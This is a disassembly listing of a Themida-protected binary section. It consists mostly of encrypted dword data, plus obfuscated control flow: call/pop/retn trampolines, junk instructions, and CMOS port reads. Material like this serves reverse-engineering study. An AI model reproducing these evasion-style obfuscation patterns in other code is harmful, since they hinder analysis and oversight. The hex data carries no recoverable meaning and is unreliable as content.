		dd 91614D0h, 90E1CC1h, 2D4A8AE6h, 0EE19DE71h, 0A7FD13E4h
		dd 3D9F28D7h, 0B8B59B3Eh, 2B5A88CAh, 0C51A9DE1h, 2D4A9DC6h
		dd 7589C5C2h, 296ED9F8h, 296ED939h, 2D4A9D40h, 8989CD6Eh
		dd 996559E8h, 0F353C8DDh, 0EFC70048h, 0EFCB9BF1h, 3E336CA8h
		dd 2D4F742Bh, 6F379D5Ch, 7D549F0Ah, 2D4A92FFh, 0CFD0108Bh
		dd 8EFDF0E8h, 932D09B0h, 0BF4DDFAFh, 2D4A9751h,	9D57885Ch
		dd 1C756033h, 728C42FDh, 1BB81C18h, 0BD28C077h,	2D4919EDh
		dd 0A62C9D71h, 4B2ACD6Eh, 971942D7h, 17C18051h,	47DAFC49h
		dd 2EA2CE8Bh, 0D4A9DC5h, 0A4115EB9h, 0AC4EB92Dh, 374EB9FCh
		dd 6E4A9D5Ch, 0FC205E7Dh, 2919873Ah, 54CF14E5h,	0D24C8DC2h
		dd 3D471877h, 78F71477h, 0A44C8DACh, 3D4F48D9h,	7A4AF728h
		dd 2D4A9EFFh, 0EE15BD8Bh, 936149Ah, 90E1CE6h, 2D4A8175h
		dd 0EE1DDAB8h, 52C8B4E4h, 7264DC6Bh, 7CC7943Bh,	0EB4C8D81h
		dd 3D697840h, 2D20CEE4h, 2D497521h, 756A9DB8h, 69C3C59Fh
		dd 69CB990Ah, 2D569933h, 7D0A9D8Bh, 0C076A706h,	0A9677E43h
		dd 45B26EB3h, 0D6C5E3C5h, 19CB2DE9h, 25B09F0Ah,	7E4AF746h
		dd 2D4A9E63h, 0EE11BDC5h, 91614B9h, 90E1C75h, 2D4A89BCh
		dd 0EE19DE5Ch, 68FF62F3h, 0AC4C8D0Ah, 0D30E9B64h, 0A7CF10C8h
		dd 474C8E67h, 2EA2CB71h, 0D4A9DB8h, 0A4145E02h,	0AC4EB95Ah
		dd 384EB953h, 6B4A9D8Bh, 68B35E93h, 2D4614EDh, 0A1459D71h
		dd 2D4A9DBEh, 2D4A1853h, 0FDB59D2Eh, 0C5199D7Dh, 2D4A9D88h
		dd 7689C6E5h, 296EC16Bh, 296ED9F0h, 2D4A9DA4h, 5189CE1Fh
		dd 0BCACBD76h, 15BF75DFh, 2D4C1284h, 0B8C19DC5h, 2B5A8AE7h
		dd 29DF18F8h, 2D209BA8h, 2D49750Ah, 736A9D2Eh, 59C3C3D4h
		dd 69CB99AFh, 2D5E99E1h, 7B0C9DE2h, 0A41DCAB2h,	3D7A300Dh
		dd 0A88CC35Ah, 2B5ABECBh, 0D7C1FB50h, 4EC11E3h,	0A62CFDA7h
		dd 2D4C7521h, 4CAF9D71h, 0AE4A1A3Ah, 4C14FC3Ch,	296E99AFh
		dd 4775D578h, 2EA2CF8Bh, 0D4A9DC5h, 0A4105EB8h,	0AC4EB925h
		dd 354EB9FCh, 6F4A9D5Ch, 44115E7Ch, 948B6EBCh, 2534243Fh
		dd 300F283Ah, 0B8619BF2h, 2B5ABAF0h, 0A8C01835h, 92459B4Fh
		dd 479A62E5h, 2EA2CD17h, 0D4A9D8Bh, 0A4125E9Dh,	0AC4EB9A6h
		dd 354EB935h, 6D4A9DB8h, 0AF345E0Ch, 7CCBC8E0h,	0AE262371h
		dd 3BBB1CD5h, 0A42C70DBh, 3D58B867h, 2D587477h,	0CAB59DB8h
		dd 597A3D0Ch, 7093FF7h,	0EF934944h, 73EAE33Dh, 0EAF1803h
		dd 47199BF2h, 2EA2CF71h, 0D4A9DB8h, 0A4105E06h,	0AC4EB97Ah
		dd 364EB953h, 6F4A9D8Bh, 2F4E5E97h, 5D8161DCh, 982AB561h
		dd 29A2FC08h, 0BD4A9D5Ch, 7DD3A471h, 4B7B9245h,	75105500h
		dd 0A645FD95h, 2D4A9DE0h, 39A2C723h, 0DF4A9DB8h, 7630E556h
		dd 362D3A05h, 86F5A42Eh, 0B7E56E72h, 0A6BDCF49h, 0A62BC51Ch
		dd 0A64EB935h, 4D4A1642h, 0C52A64D7h, 2D4A9D3Ch, 99E058D3h
		dd 202B0B68h, 0B48BCA1Bh, 3774653Eh, 7C15D437h,	0A42BFCE1h
		dd 944EB918h, 787F46D4h, 784AF74Fh, 2D4A9E63h, 0EE17BDC5h
		dd 92614BFh, 90E1C75h, 2D4A88BCh, 0EE1FD85Ch, 79F52471h
		dd 0D252BB17h, 3D57D83Eh, 0FCF592C3h, 0A8C0186Fh, 2D209B62h
		dd 2D4975EBh, 766A9D5Ch, 71C3C6EDh, 69CB9933h, 2D5399AFh
		dd 7E099DC5h, 952AC21h,	0D2FCEF51h, 7A4AF768h, 2D4A9EB4h
		dd 0EE15BD2Eh, 9361448h, 90E1C8Fh, 2D4A81C1h, 0EE1DDAE2h
		dd 45C06047h, 0A3AF416Ch, 94CF14C2h, 0A44C8D03h, 3D649CA2h
		dd 38C3928Dh, 0C44A9DC5h, 2D4A9DF2h, 6BD504F3h,	5E4E9B9Ch
		dd 276B1926h, 26B70C5Bh, 0EAF18D1h, 471D9B9Bh, 2EA2CAC5h
		dd 0D4A9DE2h, 0A4155E2Eh, 0AC4EB9C4h, 3B4EB918h, 6A4A9D2Eh
		dd 0C35A5E40h, 88FF948Dh, 0A44C8DCAh, 3D56FC7Fh, 1B13F577h
		dd 29CB1A78h, 69513078h, 98B56426h, 2B5A8052h, 0C51C9DE1h
		dd 2D4A9DC6h, 7389C3C2h, 296EE9F8h, 296ED939h, 2D4A9D46h
		dd 0A889CB68h, 8B5786DCh, 2AA20626h, 314A9DC5h,	0D95169F3h
		dd 0B8C12DA4h, 2B5A86F1h, 0FBC1FB02h, 0A8C018A3h, 2D209B04h
		dd 2D4975DAh, 746A9DC5h, 61C3C421h, 69CB9955h, 2D52999Ch
		dd 7C0B9D5Ch, 0D3FAF5EDh, 0FDB5B2DFh, 98D7B4EBh, 0A44C8DECh
		dd 3D60BC67h, 0A8C3FC77h, 2B5A9BADh, 0C5199D36h, 2D4A9D2Dh
		dd 7689C637h, 296EC102h, 296ED944h, 2D4A9DFFh, 0F789CE32h
		dd 27126B67h, 2C5B4E0Ah, 0D7F59277h, 5BC1C71h, 0C8CF5BBCh
		dd 6E4C8DE6h, 0C5199D88h, 2D4A9D72h, 7689C698h,	296EC1D5h
		dd 296ED9AFh, 2D4A9D03h, 4289CEC8h, 6E0D08ADh, 2D4575BDh
		dd 8B949D71h, 2408DDD0h, 662017BBh, 85DADA0Fh, 2D5875E2h
		dd 0DA949D8Bh, 4E6E3486h, 30F078F2h, 0D8097E7Eh, 619B0619h
		dd 72156AD7h, 0BE6E99AFh, 4717D03Fh, 2EA2CD8Bh,	0D4A9DC5h
		dd 0A4125EBAh, 0AC4EB935h, 384EB9FCh, 6D4A9D5Ch, 977C5E7Eh
		dd 2D4A89FEh, 0F70A0D8Bh, 0CE112F3Bh, 84C1D74Dh, 84021CEDh
		dd 6B264E3Bh, 0F5A41DE7h, 300F28D1h, 2D209B07h,	2D4975DCh
		dd 726A9DC5h, 51C3C221h, 69CB9955h, 2D56999Ch, 7A0D9D5Ch
		dd 0B3F1C1EDh, 0AF546809h, 0C5BF07A5h, 2D4A9DC0h, 0AC4D1EDh
		dd 0CCCBFB92h, 0A0142F53h, 3ECF17D9h, 7E4AF728h, 2D4A9EFFh
		dd 0EE11BD8Bh, 916149Eh, 90E1CE6h, 2D4A8775h, 0EE19DEB8h
		dd 0FA2AC316h, 0A645FE9Fh, 3D699482h, 479A628Dh, 2EA2CFC5h
		dd 0D4A9DE2h, 0A4105E2Bh, 0AC4EB9ECh, 384EB918h, 6F4A9D2Eh
		dd 228F5E45h, 0A48116EDh, 3D645440h, 2D5974E4h,	87279D71h
		dd 0D1FA2B14h, 852759A9h, 0D9B8B4E6h, 220E9C35h, 0D714ABh
		dd 0A04C8DE8h, 3E88E067h, 7E4AF777h, 2D4A9E50h,	0EE11BD5Ch
		dd 9161475h, 90E1C13h, 2D4A888Fh, 0EE19DEC5h, 98C1351Eh
		dd 2B5AB370h, 7D841628h, 0A6DA4CD7h, 3D5884BBh,	0F0DF6211h
		dd 0C44C8D9Eh, 2D4A9DCBh, 0ADEC1B3Ah, 62F1468Ah, 22363EF1h
		dd 0F5C12FB4h, 0C51A9D44h, 2D4A9D14h, 7589C5ABh, 296ED94Ch
		dd 296ED963h, 2D4A9D6Bh, 89CDF8h, 96429939h, 0A8C7A154h
		dd 2B595F66h, 238F1088h
		dd 7DDA9BD5h, 7D7B92B0h, 2DCA9223h, 224A9DB8h, 7780166Dh
		dd 7D12C776h, 1F2FB77h,	4BF5FB9Ch, 7FDAFCAFh, 2D5E75B4h
		dd 0C1979D71h, 3E5BAC2h, 0AA9931C1h, 5F667A25h,	62E78FFDh
		dd 7213E100h, 26C5929Ah, 224A9DE2h, 2D4A98F7h, 0E2CBFBB8h
		dd 98D9205Ah, 0D5C1CD49h, 0A445CE84h, 2D4A9D8Dh, 0A320CEh
		dd 0D2149BF2h, 3D4718E4h, 7A4AF7BEh, 2D4A9EB4h,	0EE15BD2Eh
		dd 9361448h, 90E1C8Fh, 2D4A81C1h, 0EE1DDAE2h, 9A5014ACh
		dd 47D85D4Eh, 2D4D75BFh, 0B3B79D2Eh, 0E7842C3Fh, 77861739h
		dd 2083184Ch, 2D209BF2h, 2D497521h, 756A9DB8h, 69C3C59Fh
		dd 69CB990Ah, 2D5E9933h, 7D0A9D8Bh, 0A62CF406h,	78CF5A2Ah
		dd 224C8D71h, 264A9DB8h, 3D537CE9h, 0E4DF6228h,	0C54C8D1Ah
		dd 2D4A9D8Eh, 552F5493h, 2D5B753Dh, 0E3859D71h,	0C9F97A80h
		dd 3842133Bh, 8BFABD9Ch, 7765030Dh, 0F0CF14D4h,	44C8DEFh
		dd 3D5CAC77h, 10C71477h, 0A64C8DA3h, 3D6BF8D9h,	0CFD71028h
		dd 0A44C8EC1h, 90C79CC8h, 2B5ABB2Ch, 0FBF6286Fh, 1EF39B62h
		dd 0DE4A9DB8h, 957976F8h, 2D4A9D2Eh, 2E3E5D1Ch,	0A64A8549h
		dd 7E46B981h, 2D4A9D0Ah, 0EECBC671h, 2D4A9DAFh,	3D6EC1D5h
		dd 396ED9A7h, 8D7D254Ch, 0CDB59D29h, 296ED94Eh,	0E8F47D1Dh
		dd 0C44EF0B3h, 2D4A9DBDh, 0C5FB4749h, 0A445FC5Ah, 2D4A9D34h
		dd 2D4A9263h, 0C88D93C5h, 7AB012E5h, 0A712EB4Ch, 4B4466DDh
		dd 2D4A94B5h, 794A3F2Eh, 0CC584BADh, 0A0155608h, 3E88EC78h
		dd 69C710E4h, 954C8EA6h, 0B56C368Dh, 3D87186Fh,	0E2619B3Eh
		dd 782D20FDh, 172D4975h, 48736A9Dh, 0E159C3C3h,	0C669CB99h
		dd 712D5E99h, 837B0C9Dh, 0A4F305E9h, 6AD98Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C7587C3h
		dd 0E99A0D65h, 14h, 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h
		dd 890FA3E2h, 52E9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0B341F020h, 6A611Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 206501C3h, 3A8465ADh, 0E9265FA8h, 5,	5F710269h, 8BF8C389h
		dd 0D8F0FC0h, 60000000h, 3D37FFBAh, 0BAD18161h,	614BB255h
		dd 158DBD83h, 75000610h, 95BD8309h, 61000h, 53501974h
		dd 0B9B8C08Bh, 89000004h, 10132D85h, 7C9D8D06h,	0FF0612B8h
		dd 83585BD3h, 100095BDh, 17740006h, 0B9B85350h,	89000004h
		dd 10132D85h, 1D9D8D06h, 0FF0612B5h, 60585BD3h,	0F4BF66h
		dd 6A61FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 405A63C3h, 0A327CEC4h, 8E9C08Bh, 0A4000000h
		dd 84E9E8ACh, 4032304Eh, 8166C18Bh, 0EB1421CEh,	4, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 7CDBDEA9h, 0BE8h, 0CFACD900h, 3D054BEEh, 1AA202Ch, 1B3D8D89h
		dd 95F0610h, 101711B5h,	81850906h, 8D06100Ah, 1013B985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 83EB0A17h, 68050C95h, 0ABBFF38Bh, 90568F3Fh
		dd 5958BE66h, 0C5BE6650h, 6A900Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 13E8BDC3h, 7A000000h
		dd 3A9BF491h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8D8938FCh
		dd 6100809h, 0FA8B665Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0D7817DC3h, 65961E8Ch
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 6F1A51C3h, 14E983h, 0C5390000h, 8F9E7A0Dh
		dd 0A54C3C8Bh, 7601A456h, 0FA17A914h, 858D860Fh, 613DA96h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h
		dd 357E459Ah, 0EA9B589h, 0F28B0610h, 6A05C083h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 29BCC355h, 18C0BC9Eh, 1883C08Dh, 3870Fh, 8B660000h
		dd 8B6650F3h, 240489F3h, 0DE5BD29h, 6A0610h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 12C35747h, 0F3B70FF2h
		dd 0B58B006Ah, 6101575h, 1D1995FFh, 8D890610h, 6101081h
		dd 0AFD89D8Dh, 6A0613h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 292C7AC3h, 10218195h, 89D3FF06h
		dd 100BADB5h, 1985FF06h, 0E9061014h, 5,	2C1C3F32h, 7B3E951h
		dd 0E80000h, 5D000000h,	0DAA0ED81h, 95890613h, 6100BD5h
		dd 55BD81h, 7D00610h, 860F0000h, 169h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 90C35747h, 95387CDEh, 259D8973h
		dd 8B06101Dh, 1023819Dh, 13E806h, 73940000h, 621D7F0Ah
		dd 0AB070137h, 0F86E0861h, 115ABAD0h, 5EF78B2Ah, 100E381h
		dd 870F0000h, 6, 3169BD8Bh, 0DB0B0610h,	0AD850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0FA35ECC3h, 800534A5h, 0BD83E8E0h, 613D896h,	28840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 73C5C352h, 0CDD10A65h,	7FE9D018h
		dd 0C7000000h, 13D89685h, 106h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0BFB5F1D6h
		dd 5A966AF7h, 108E0Fh, 0BE90000h, 0DC000000h, 8F18521Fh
		dd 0FB5D5FE5h, 800F3FC6h, 1, 30E9FCh, 81660000h, 0C74887F6h
		dd 13D89685h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0C63CA572h, 9D8D823Ah
		dd 6102381h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0B7C35646h, 0D5D91D5h, 81AF7B82h, 0FFFEFF23h, 0DB8C66FFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 48C35141h
		dd 0E7D8F0A1h, 0F2432A13h, 0A5B58B76h, 0F606100Ah, 840F04C3h
		dd 2Eh,	95FFF98Bh, 6100DC9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 1FC35747h, 18AE4386h, 895073FBh
		dd 16E92404h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 2907C352h, 6E9h, 0CE69C400h
		dd 0B0600BB2h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 643C63B0h, 57F1A8ACh
		dd 8B6670E6h, 0CCB660F1h, 0BC9B589h, 0E4610610h, 56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0D8B60F85h, 0DE9h, 194E1F00h, 0A0038E1h, 253B18EEh
		dd 6BA5339h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5152C355h, 57E85AFBh
		dd 53A8C7DBh, 6AC38B5Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B93C357h, 10170DB5h
		dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch
		dd 0CFC35242h, 3186FD1Ah, 89CE0EB3h, 6AE2F766h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0A38BC357h, 8B5117C6h, 102E81B5h, 2840F06h, 8B000000h
		dd 0FD82BF9h, 288h, 93FE8B00h, 5E9h, 892B9500h,	0E9508608h
		dd 0Bh,	2AA04AA2h, 1D58EFB2h, 93ECAFD5h, 1E3D8D89h, 0B5FF0610h
		dd 6100055h, 16BDB58Bh,	5E90610h, 89000000h, 837EEB97h
		dd 31C995FFh, 95890610h, 61000E9h, 858900B0h, 6100D65h
		dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5D1E76C3h, 0E98406A4h, 5,	0C4F58A1h, 15B58927h
		dd 8906101Eh, 1008358Dh, 6A71E406h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFFDC353h
		dd 41B32DCh, 3CF6BF0Fh,	22830F61h, 89000002h, 101169B5h
		dd 0D8B60F06h, 1B61B58Bh, 6BA0610h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CF1BC350h, 0C1E1A0E7h, 6E840C3h, 0BD000000h, 9B2F7172h
		dd 0AD952957h, 5F061030h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 4BFCBEC3h, 0F60C5023h
		dd 0C118A97Fh, 870F04E8h, 6, 0EA9BD33h,	0F7660610h, 0FE9E2h
		dd 80B0000h, 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 6AD82BD2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 868BC355h, 9D8B6058h, 6103145h, 16299D29h
		dd 2B610610h, 56880FD8h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C08DC351h
		dd 7B983h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B58B5EC3h, 6101F1Dh, 0C183F8h
		dd 89F38B66h, 100BDDBDh, 0FD93B06h, 0FC86h, 0D98C6600h
		dd 9E9h, 6D311800h, 9FB9D6D3h, 0C1F65FA6h, 0D5840F04h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0FBB2C353h, 63D86C2Dh,	8986BCA4h
		dd 10002DBDh, 0C995FF06h, 6A06100Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5785C350h
		dd 0ADB58BAEh, 5B06100Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 50C35646h, 1E8A0FF0h,	0E8000000h, 12h
		dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 0BD89E0E0h
		dd 61001F1h, 66C32B5Fh,	343DF38Bh, 0F000008h, 2F86h, 41958900h
		dd 0E9061031h, 31h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 6EC35343h, 8D89B152h,	61031A9h, 8B60C08Bh
		dd 10145595h, 2DE8006h,	8BC38B61h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A40E0A8h
		dd 85C7522Eh, 610297Dh,	1CC9F511h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 23C35545h, 10865A51h, 8B6006EEh
		dd 8B61F5C2h, 8B6653C0h, 0BD815EF2h, 6100055h, 7D0h, 51850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0A71294C3h, 0C800F24h, 60000000h,	0A8C68166h
		dd 6190BE7Ah, 566115B5h, 11898589h, 0FF5F0610h,	10005585h
		dd 68A0F06h, 89000000h,	1022F59Dh, 890F06h, 0FF000000h
		dd 100055B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 83468421h, 21F04046h, 0C995FF3Eh
		dd 6A061031h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 32A7C357h, 5D420C7Ch, 0E898B520h
		dd 13h,	8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 5FD5AAACh
		db 90h
; ---------------------------------------------------------------------------


loc_58963D:				; DATA XREF: Themida_:0054D190o
		mov	eax, 12345678h
		push	0
		push	edx
		call	sub_58964D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58964D	proc near		; CODE XREF: Themida_:00589645p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58964D	endp

; ---------------------------------------------------------------------------
		db 0BDh, 57h, 56h
		dd 8E230966h, 8DF8B70Fh, 13E1D29Dh, 0F894E906h,	6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9FA22C3h, 11h, 7FC4CFE2h, 8EDB4017h, 0F2E84F74h, 0B52A75BDh
		dd 8195899Ah, 0E9061009h, 9, 28FB8F8Eh,	6946BAE4h, 0EBC18BA8h
		dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 16C14A6Dh, 24BF66B1h, 51006ABCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 305B692Bh, 5F254979h, 0E860539Dh, 0Ch, 0B88E57E5h, 5671DB19h
		dd 82984D08h, 83BF69BFh, 0F88B5E0Bh, 0B9858D61h, 6A061013h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 80ECC356h, 518F4481h, 6CC51EAEh, 702588BEh
		dd 28CABF06h, 8D895A4Bh, 6100A85h, 8B665090h, 6A90F3h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 66FBBDC3h, 0BE6624C4h, 6AF6B7h, 4880Fh, 0BF660000h
		dd 6AD4B8h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Bh,	5EC35141h, 0B2A8B1Dh, 66F147F8h, 7F21F681h, 0E421858Dh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 8BF401C3h, 0B58BC6A3h, 6101D29h, 0BE05C083h
		dd 7B8BE655h, 0FABE6690h, 6A9050BFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 5157C357h
		dd 0ED48A5C6h, 99BD89D5h, 6A061031h, 29006A00h,	10106D95h
		dd 1995FF06h, 8B06101Dh, 1007F1B5h, 6810F06h, 8B000000h
		dd 100FE5B5h, 0D89D8D06h, 6A0613AFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 2216C350h
		dd 0E179589Bh, 9E998h, 0F3370000h, 2BF1542Dh, 38BF315h
		dd 1013F1B5h, 66D3FF06h, 85FFF38Bh, 6101419h, 0DD4E9h
		dd 0E800h, 815D0000h, 13E42BEDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0D22F725Bh
		dd 37DB2776h, 840Fh, 8F0F0000h,	9, 3830Fh, 0B70F0000h
		dd 55BD81FFh, 0D0061000h, 0F000007h, 16B86h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 2AC1632h, 81669B56h,	8B0E65EFh, 1005299Dh, 0E1B58B06h
		dd 81061007h, 100E3h, 2D852900h, 0B06100Bh, 0EF850FDBh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 8B7EC357h, 176140DDh, 0E252BD83h
		dd 0F000613h, 7C84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 360B78F1h, 0BE66B606h
		dd 0C1E9D1FEh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 60E4C350h, 9E8h, 75B46400h
		dd 67D5459Bh, 0BF0FB159h, 8F0F5FFAh, 16h, 11E9h, 0E13E0100h
		dd 0D2949F77h, 2B0FC7Dh, 0AD684932h, 2361D81Dh,	100A49B5h
		dd 5285C706h, 10613E2h,	81000000h, 438397DFh, 5AE913h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A64F2C3h, 0DDD72CBAh, 37E7D34h, 101BA1BDh
		dd 0AA6BBE06h, 85C70869h, 613E252h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_589A2F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589A2F	proc near		; CODE XREF: Themida_:00589A27p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_589A2F	endp

; ---------------------------------------------------------------------------
		aad	6Bh
		jbe	short loc_589A91
		cld
		lea	ebx, [ebp+6100529h]
		and	dword ptr [ebx], 0FFFFFEFFh
		mov	bx, ds
		push	0
		push	edx
		call	sub_589A5E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589A5E	proc near		; CODE XREF: Themida_:00589A56p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_589A5E	endp

; ---------------------------------------------------------------------------
		dw 0C611h
		dd 650F2F65h, 6610BB2Eh, 0F500F681h, 0F04C3F6h,	5784h
		dd 52006A00h, 3E8h, 0C35A2000h
; ---------------------------------------------------------------------------
		pop	edx


loc_589A91:				; CODE XREF: Themida_:00589A41j
		mov	[esp+4], edx
		add	dword ptr [esp+4], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		sbb	eax, 0F98B6652h
		push	eax
		mov	di, 0D5E9h
		pop	edi
		call	dword ptr [ebp+6100DC9h]
		jnp	loc_589AB9
		mov	esi, ecx


loc_589AB9:				; CODE XREF: Themida_:00589AB1j
		nop
		push	edx
		pusha
		mov	si, 0E77Ah
		mov	ch, 9Bh
		popa
		pop	edi
		push	eax
		jmp	loc_589AD9
; ---------------------------------------------------------------------------
		dw 0DAF4h
		dd 6DAAF4FAh, 80A3AD7Eh, 0A06DECDEh
		db 77h
; ---------------------------------------------------------------------------


loc_589AD9:				; CODE XREF: Themida_:00589AC5j
		nop
		mov	edi, esi
		jmp	loc_589E98
; ---------------------------------------------------------------------------
		jmp	loc_589AF0
; ---------------------------------------------------------------------------
		dw 4080h
		dd 14E998EAh, 561A6EFAh
; ---------------------------------------------------------------------------


loc_589AF0:				; CODE XREF: Themida_:00589AE1j
		mov	al, 0
		call	sub_589B01
		push	edx
		inc	esi
		mov	cl, 0BCh
		sbb	eax, 1D0BD591h
		xchg	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_589B01	proc near		; CODE XREF: Themida_:00589AF2p
		mov	[ebp+61015EDh],	esi
		pop	edi
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		clc
		xor	[ebp+61004CDh],	edx
		in	al, 71h		; CMOS Memory
		push	0
		push	edi
		call	sub_589B1E
		and	[edi-3Dh], bl
sub_589B01	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_589B1E	proc near		; CODE XREF: sub_589B01+15p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_589B1E	endp

; ---------------------------------------------------------------------------
		dw 247Eh
		dd 8D0F7Eh, 89000000h, 10107995h, 8DBD8B06h, 0F061006h
		dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 71C88C3h,	7C3AEDCh, 6F7BE66h, 6BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8B30216Ah, 4E8C1C3h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 28C35343h, 6646BAE4h,	6AE2F7h, 3E852h
